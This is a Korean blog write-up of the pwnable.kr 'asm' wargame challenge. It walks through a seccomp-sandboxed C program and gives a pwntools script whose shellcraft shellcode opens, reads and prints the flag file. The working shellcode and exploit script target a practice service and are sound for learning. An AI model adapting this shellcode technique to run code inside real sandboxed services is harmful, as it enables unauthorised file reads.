[pwnable.kr] asm(6 pts) :: Write-Up
두비니
·2020. 7. 22. 19:41
Mommy! I think I know how to make shellcodes
ssh asm@pwnable.kr -p2222 (pw: guest)
쉘코드 만들기..?
일단 들어가봅시다.
플래그 파일이 심상치않네요. 우선 c코드부터 봅시다.
asm@pwnable:~$ cat asm.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
코드를 좀 분석해보자. 처음보는 함수들이 너무 많다....
일단 main함수에서 가장 먼저 mmap을 통해 0x41414000에 매핑을 한다.
0x41414000의 매핑된 값은 sh에 저장이 될 것이다.
mmap에 대하여: https://mintnlatte.tistory.com/357
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
그 뒤로는 쉘코드를 입력받은 뒤, chroot("/home/asm_pwn")으로 갇히게 된다. 지정된 디렉토리에서만 파일을 열 수 있게해서 jail이라고 한다카더라.
그 후 sandbox를 call한다.
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
seccomp이란 secure computing mode의 약자입니다. 리눅스 커널에서 애플리케이션 sandboxing 매커니즘을 제공하는 컴퓨터 보안 기능입니다. system call을 통해 기능을 활성화 시키면, 이를 호출한 프로세스에 있는 모든 fd들에 대해서 read, write, exit, sigreturn을 제외한 모든 system call 호출이 불가능 해집니다. 만약 다른 시스템 호출을 시도한다면, 커널이 SIGKILL로 프로세스를 종료시킵니다.
아무튼 문제로 돌아오면 open()/read()/write()를 통해서만 쉘코드를 작성해야 하네요.
어차피 충분히 열 수 있으니 짜면 될 것 같습니다.
예전에 shellcraft에 대해서 친구가 알려준게 생각나 좀 찾아보았습니다.
관련문서는: http://docs.pwntools.com/en/stable/shellcraft/amd64.html
작년에 직접 어셈코딩해서 쉘코드를 만들었던 기억이 있는데, 이렇게 쉬운 방법이 있었네요.
다음은 익스 코드입니다.
따로 리버싱공부를 안하니까 이런데서 정말 죽을맛이네요... open()/read()/write()함수가 어떻게 작동하는지 모두 분석했습니다.
from pwn import *
context(arch='amd64', os='linux')
p = remote('pwnable.kr', 9026)
print p.recvuntil("challenge :)")
print p.recvuntil("shellcode: ")
filename = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"
shellcode = shellcraft.open(filename)
shellcode = shellcode + shellcraft.read('rax', 'rsp', 100)
shellcode = shellcode + shellcraft.write( 1, 'rsp', 100)
shellcode = shellcode + shellcraft.exit()
p.sendline(asm(shellcode))
print p.recv()
p.interactive()
정말 한참을 헤맸습니다.... 이 짧은거짜는데 한 5시간걸린듯..
진짜 앞쪽 문제들과 난이도차이가 심하네요 나만그런가.... 갑자기 확어려워지는듯
'War Games > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] unlink(10 pts) :: Write-Up (0) | 2020.10.02 |
---|---|
[pwnable.kr] blukat(3 pts) :: Write-Up (0) | 2020.07.23 |
[pwnable.kr] memcpy(10 pts) :: Write-Up (0) | 2020.07.21 |
[pwnable.kr] uaf(8 pts) :: Write-Up (0) | 2020.07.20 |
[pwnable.kr] cmd2(9 pts) :: Write-Up (0) | 2020.07.19 |